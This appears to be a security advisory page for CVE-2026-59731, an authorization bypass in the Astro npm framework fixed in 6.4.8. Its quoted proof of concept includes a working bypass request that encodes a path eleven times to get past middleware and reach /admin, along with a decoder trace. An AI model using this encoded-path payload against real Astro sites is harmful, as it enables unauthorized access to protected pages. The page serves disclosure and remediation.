CVE-2026-59731: Astro Authorization Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-vj59-8hwv-xxmv
CVSS 8.2
CWE-647
Published
Advisory Summary

CVE-2026-59731 is a HIGH (CVSS 8.2) authorization bypass vulnerability (CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions) affecting Astro libraries in the npm ecosystem. The issue involves authorization bypass via decode iteration limit and rewrite path canonicalization mismatch. Remediation is available by upgrading affected packages to version 6.4.8.

CVE-2026-59731 at a Glance

CVE Identifier CVE-2026-59731
GHSA Identifier GHSA-vj59-8hwv-xxmv
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions
Affected Product Astro
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-59731

To remediate this vulnerability, upgrade all affected Astro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

astro fixed: 6.4.8
npm install astro@6.4.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls astro

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59731, inspect your project dependencies using npm:

npm ls astro

Analyze the terminal output to locate any version of Astro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.4.8), your application is affected.

Note: The npm ls astro command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions, where the product defines policy namespaces and makes authorization decisions based on the assumption that a url is canonical. this can allow a non-canonical url to bypass the authorization. In Astro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch ## Summary Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth. The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route. As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns. **Potential CWE:** CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions --- ## Vulnerable Pattern Middleware authorization sees: ```text /%61dmin ``` Later rewrite route matching sees: ```text /admin ``` This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route. --- ## Root Cause ### Iterative Decoding Logic PR #16967 introduced iterative URI decoding: ```js let iterations = 0; while (decoded !== pathname && iterations < 10) { pathname = decoded; try { decoded = decodeURI(pathname); } catch { // decodeURI can fail when a decoded literal '%' forms an // invalid sequence with adjacent characters. break; } iterations++; } return decoded; ``` The intent was to ensure middleware receives a fully decoded canonical pathname. However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request. --- ### Rewrite Route Matching Later, Astro performs another decode during route matching: ```js const decodedPathname = decodeURI(pathname); ``` Consequently: ```text Middleware pathname: /%61dmin Route matcher: /admin ``` This creates a canonicalization mismatch between authorization logic and routing logic. --- ## Proof of Concept ### Middleware ```js import { defineMiddleware } from 'astro:middleware'; export const onRequest = defineMiddleware(async (context, next) => { const pathname = context.url.pathname; if (pathname === '/admin' || pathname.startsWith('/admin/')) { return new Response( '403 Forbidden: middleware blocked canonical /admin', { status: 403, headers: { 'content-type': 'text/plain;charset=UTF-8', 'x-middleware-pathname': pathname, }, } ); } if (pathname !== '/') { const response = await next(context.url); response.headers.set('x-middleware-pathname', pathname); response.headers.set( 'x-vuln-pattern', 'next(context.url) rewrite after pathname check' ); return response; } return next(); }); ``` The critical pattern is: ```js return next(context.url); ``` The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery. --- ## Reproduction ### Protected Route ```bash curl -i http://127.0.0.1:8989/admin ``` Response: ```http HTTP/1.1 403 Forbidden x-middleware-pathname: /admin 403 Forbidden: middleware blocked canonical /admin ``` --- ### Bypass Request ```bash curl -i http://127.0.0.1:8989/%252525252525252525252561dmin ``` Response: ```http HTTP/1.1 200 OK x-middleware-pathname: /%61dmin x-vuln-pattern: next(context.url) rewrite after pathname check Admin page reached Protected content rendered after rewrite route matching. request url: http://127.0.0.1:8989/%61dmin ``` This demonstrates: ```text Middleware saw: /%61dmin Router reached: /admin ``` --- ## Encoding Depth Analysis The bypass occurs at encoding depth 11. ### Decoder Trace ```text depth 0: /%61dmin -> /admin depth 1: /%2561dmin -> /admin depth 2: /%252561dmin -> /admin depth 3: /%25252561dmin -> /admin depth 4: /%2525252561dmin -> /admin depth 5: /%252525252561dmin -> /admin depth 6: /%25252525252561dmin -> /admin depth 7: /%2525252525252561dmin -> /admin depth 8: /%252525252525252561dmin -> /admin depth 9: /%25252525252525252561dmin -> /admin depth 10: /%2525252525252525252561dmin -> /admin depth 11: /%252525252525252525252561dmin -> /%61dmin ``` Depths 0–10 are fully decoded and blocked by middleware. Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit. A later `decodeURI()` converts: ```text /%61dmin ``` into: ```text /admin ``` allowing route matching to reach the protected endpoint. --- ## Exploit Preconditions Exploitation requires: ### 1. Path-Based Authorization Middleware performs authorization using: ```js context.url.pathname ``` For example: ```js if (context.url.pathname === '/admin') { block(); } ``` ### 2. Rewrite-Based Routing The request is subsequently passed into Astro routing via: ```js next(context.url) ``` or equivalent rewrite behavior that performs route matching after middleware execution. --- ## Impact An unauthenticated attacker may bypass middleware protections guarding routes such as: ```text /admin /api/admin /internal /dashboard ``` if the application: 1. Relies on pathname-based authorization checks. 2. Uses rewrite behavior that performs route matching after middleware execution. Affected applications may expose protected pages or APIs despite middleware restrictions. --- ## Security Analysis The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass. Previous advisories demonstrated bypasses using: ```text /%2561dmin ``` to reach: ```text /admin ``` The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths. However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch. The existence of a decoding limit is not itself problematic. The vulnerability arises because Astro: 1. Stops decoding. 2. Returns a partially canonicalized pathname. 3. Performs additional decoding later during route matching. Authorization and routing therefore operate on different pathname representations. --- ## Recommended Fix Do not return partially decoded pathnames when the iteration limit is exceeded. Instead, reject the request whenever decoding has not stabilized before reaching the cap. ### Example Fix ```js let iterations = 0; while (decoded !== pathname) { if (iterations >= 10) { throw new Error('URL encoding depth exceeded'); } pathname = decoded; try { decoded = decodeURI(pathname); } catch { break; } iterations++; } return decoded; ``` ### Additional Hardening Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized. Authorization and route matching must operate on the exact same canonical pathname representation. --- ## Conclusion Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit. When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route. This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.

CVE-2026-59731 Affected Astro Versions

1 component(s)
Fixed Versions:
6.4.8
Product / Package Ecosystem Affected Versions Fixed Version
astro
npm
≥ 6.4.7
< 6.4.8
6.4.8

References

Frequently Asked Questions

What is CVE-2026-59731?
CVE-2026-59731 is a security vulnerability in Astro involving Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch under CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.
Which Astro versions are affected?
Affected versions include releases prior to 6.4.8 across affected packages: astro.
What version fixes CVE-2026-59731?
Upgrading to 6.4.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is astro affected?
Yes, astro is affected in releases prior to 6.4.8. Upgrade your dependency to 6.4.8 or later.
What is the CVSS score of CVE-2026-59731?
CVE-2026-59731 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-59731?
CVE-2026-59731 is classified under CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.).
How can I check npm dependencies for CVE-2026-59731?
Run the dependency tree command: 'npm ls astro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vj59-8hwv-xxmv",
  "modified" : "2026-07-20T21:58:27Z",
  "published" : "2026-07-20T21:58:27Z",
  "aliases" : [ "CVE-2026-59731" ],
  "summary" : "Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch",
  "details" : "# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch\n\n## Summary\n\nAstro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.\n\nThe issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route.\n\nAs a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.\n\n**Potential CWE:** CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions\n\n---\n\n## Vulnerable Pattern\n\nMiddleware authorization sees:\n\n```text\n/%61dmin\n```\n\nLater rewrite route matching sees:\n\n```text\n/admin\n```\n\nThis discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.\n\n---\n\n## Root Cause\n\n### Iterative Decoding Logic\n\nPR #16967 introduced iterative URI decoding:\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname && iterations < 10) {\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\t// decodeURI can fail when a decoded literal '%' forms an\n\t\t// invalid sequence with adjacent characters.\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\nThe intent was to ensure middleware receives a fully decoded canonical pathname.\n\nHowever, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.\n\n---\n\n### Rewrite Route Matching\n\nLater, Astro performs another decode during route matching:\n\n```js\nconst decodedPathname = decodeURI(pathname);\n```\n\nConsequently:\n\n```text\nMiddleware pathname: /%61dmin\nRoute matcher:       /admin\n```\n\nThis creates a canonicalization mismatch between authorization logic and routing logic.\n\n---\n\n## Proof of Concept\n\n### Middleware\n\n```js\nimport { defineMiddleware } from 'astro:middleware';\n\nexport const onRequest = defineMiddleware(async (context, next) => {\n\tconst pathname = context.url.pathname;\n\n\tif (pathname === '/admin' || pathname.startsWith('/admin/')) {\n\t\treturn new Response(\n\t\t\t'403 Forbidden: middleware blocked canonical /admin',\n\t\t\t{\n\t\t\t\tstatus: 403,\n\t\t\t\theaders: {\n\t\t\t\t\t'content-type': 'text/plain;charset=UTF-8',\n\t\t\t\t\t'x-middleware-pathname': pathname,\n\t\t\t\t},\n\t\t\t}\n\t\t);\n\t}\n\n\tif (pathname !== '/') {\n\t\tconst response = await next(context.url);\n\n\t\tresponse.headers.set('x-middleware-pathname', pathname);\n\t\tresponse.headers.set(\n\t\t\t'x-vuln-pattern',\n\t\t\t'next(context.url) rewrite after pathname check'\n\t\t);\n\n\t\treturn response;\n\t}\n\n\treturn next();\n});\n```\n\nThe critical pattern is:\n\n```js\nreturn next(context.url);\n```\n\nThe middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.\n\n---\n\n## Reproduction\n\n### Protected Route\n\n```bash\ncurl -i http://127.0.0.1:8989/admin\n```\n\nResponse:\n\n```http\nHTTP/1.1 403 Forbidden\nx-middleware-pathname: /admin\n\n403 Forbidden: middleware blocked canonical /admin\n```\n\n---\n\n### Bypass Request\n\n```bash\ncurl -i http://127.0.0.1:8989/%252525252525252525252561dmin\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\nx-middleware-pathname: /%61dmin\nx-vuln-pattern: next(context.url) rewrite after pathname check\n\nAdmin page reached\nProtected content rendered after rewrite route matching.\nrequest url: http://127.0.0.1:8989/%61dmin\n```\n\nThis demonstrates:\n\n```text\nMiddleware saw: /%61dmin\nRouter reached: /admin\n```\n\n---\n\n## Encoding Depth Analysis\n\nThe bypass occurs at encoding depth 11.\n\n### Decoder Trace\n\n```text\ndepth 0:  /%61dmin                              -> /admin\ndepth 1:  /%2561dmin                            -> /admin\ndepth 2:  /%252561dmin                          -> /admin\ndepth 3:  /%25252561dmin                        -> /admin\ndepth 4:  /%2525252561dmin                      -> /admin\ndepth 5:  /%252525252561dmin                    -> /admin\ndepth 6:  /%25252525252561dmin                  -> /admin\ndepth 7:  /%2525252525252561dmin                -> /admin\ndepth 8:  /%252525252525252561dmin              -> /admin\ndepth 9:  /%25252525252525252561dmin            -> /admin\ndepth 10: /%2525252525252525252561dmin          -> /admin\ndepth 11: /%252525252525252525252561dmin        -> /%61dmin\n```\n\nDepths 0–10 are fully decoded and blocked by middleware.\n\nDepth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.\n\nA later `decodeURI()` converts:\n\n```text\n/%61dmin\n```\n\ninto:\n\n```text\n/admin\n```\n\nallowing route matching to reach the protected endpoint.\n\n---\n\n## Exploit Preconditions\n\nExploitation requires:\n\n### 1. Path-Based Authorization\n\nMiddleware performs authorization using:\n\n```js\ncontext.url.pathname\n```\n\nFor example:\n\n```js\nif (context.url.pathname === '/admin') {\n\tblock();\n}\n```\n\n### 2. Rewrite-Based Routing\n\nThe request is subsequently passed into Astro routing via:\n\n```js\nnext(context.url)\n```\n\nor equivalent rewrite behavior that performs route matching after middleware execution.\n\n---\n\n## Impact\n\nAn unauthenticated attacker may bypass middleware protections guarding routes such as:\n\n```text\n/admin\n/api/admin\n/internal\n/dashboard\n```\n\nif the application:\n\n1. Relies on pathname-based authorization checks.\n2. Uses rewrite behavior that performs route matching after middleware execution.\n\nAffected applications may expose protected pages or APIs despite middleware restrictions.\n\n---\n\n## Security Analysis\n\nThe issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.\n\nPrevious advisories demonstrated bypasses using:\n\n```text\n/%2561dmin\n```\n\nto reach:\n\n```text\n/admin\n```\n\nThe 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.\n\nHowever, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.\n\nThe existence of a decoding limit is not itself problematic.\n\nThe vulnerability arises because Astro:\n\n1. Stops decoding.\n2. Returns a partially canonicalized pathname.\n3. Performs additional decoding later during route matching.\n\nAuthorization and routing therefore operate on different pathname representations.\n\n---\n\n## Recommended Fix\n\nDo not return partially decoded pathnames when the iteration limit is exceeded.\n\nInstead, reject the request whenever decoding has not stabilized before reaching the cap.\n\n### Example Fix\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname) {\n\tif (iterations >= 10) {\n\t\tthrow new Error('URL encoding depth exceeded');\n\t}\n\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\n### Additional Hardening\n\nAstro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized.\n\nAuthorization and route matching must operate on the exact same canonical pathname representation.\n\n---\n\n## Conclusion\n\nAstro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.\n\nWhen URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.\n\nThis can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "astro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.4.7"
      }, {
        "fixed" : "6.4.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59731"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/pull/17109"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withastro/astro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/releases/tag/astro@6.4.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-647" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:58:27Z",
    "nvd_published_at" : "2026-07-08T17:17:25Z"
  }
}